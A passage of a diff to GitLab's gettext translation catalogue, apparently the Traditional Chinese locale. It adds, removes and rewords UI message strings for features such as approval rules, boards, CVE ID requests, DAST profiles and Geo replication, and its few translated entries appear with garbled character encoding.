msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3706,6 +3802,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3715,6 +3814,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3724,9 +3826,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3863,6 +3962,12 @@ msgid "Are you sure you want to import %d repository?"
msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -3923,6 +4028,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -3965,13 +4076,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4396,6 +4507,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4498,6 +4612,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4516,6 +4633,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "從é¸å®šçš„變更紀錄開始"
@@ -4540,7 +4660,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4673,6 +4793,9 @@ msgstr[0] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4703,6 +4826,10 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4712,9 +4839,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4733,6 +4857,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4742,6 +4869,10 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4754,6 +4885,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4784,6 +4924,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5090,15 +5233,6 @@ msgstr "作者:"
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5117,6 +5251,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5205,6 +5345,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5301,6 +5462,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5421,6 +5585,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "更改標題"
@@ -5448,6 +5615,9 @@ msgstr "優é¸"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "還原"
@@ -5457,12 +5627,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6105,6 +6281,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6138,6 +6317,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6171,9 +6392,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6192,12 +6410,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6747,6 +6974,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7453,6 +7683,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7516,6 +7749,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7801,6 +8037,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7827,9 +8066,6 @@ msgid "ContainerRegistry|%{count} Tag"
msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -7914,6 +8150,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -7932,6 +8171,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -7996,6 +8238,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8218,6 +8463,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8263,9 +8511,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8323,9 +8568,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8380,12 +8634,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8419,6 +8682,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8428,16 +8694,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8582,9 +8847,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "建立新標籤"
@@ -8606,6 +8868,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8759,6 +9024,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8822,6 +9090,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9123,8 +9394,9 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9219,6 +9491,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9288,6 +9563,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9348,6 +9629,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9381,6 +9665,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9411,12 +9698,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9493,6 +9792,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9523,6 +9825,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -9934,13 +10239,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10051,9 +10362,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10081,9 +10389,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10196,9 +10501,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10358,13 +10660,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10379,7 +10681,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10632,6 +10934,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10875,6 +11180,9 @@ msgstr ""
msgid "Edit comment"
msgstr "編輯留言"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -10887,6 +11195,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11106,6 +11417,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11130,6 +11444,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11142,6 +11459,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11154,6 +11474,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11265,6 +11588,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11334,9 +11660,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -11964,19 +12287,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -11985,7 +12308,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12096,9 +12419,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12165,6 +12485,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12234,6 +12557,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12246,12 +12572,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12279,9 +12599,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12303,13 +12620,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12408,6 +12728,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12435,9 +12758,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12486,9 +12815,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "從看æ¿åˆªé™¤è­°é¡Œæ™‚發生錯誤,請ç¨å€™é‡è©¦ã€‚"
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12543,9 +12869,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr "更新議題時發生錯誤,請ç¨å¾Œé‡è©¦ã€‚"
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -12928,10 +13251,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -12964,7 +13287,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13066,6 +13389,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13114,12 +13440,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13129,9 +13458,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13156,6 +13482,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13165,6 +13494,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13180,6 +13512,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13198,9 +13533,6 @@ msgstr "派生自"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13462,6 +13794,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13504,9 +13839,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13531,6 +13872,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13564,6 +13914,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13591,6 +13947,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13603,6 +13962,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13630,6 +14013,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13642,6 +14028,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13675,6 +14064,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13720,6 +14112,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13849,6 +14244,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
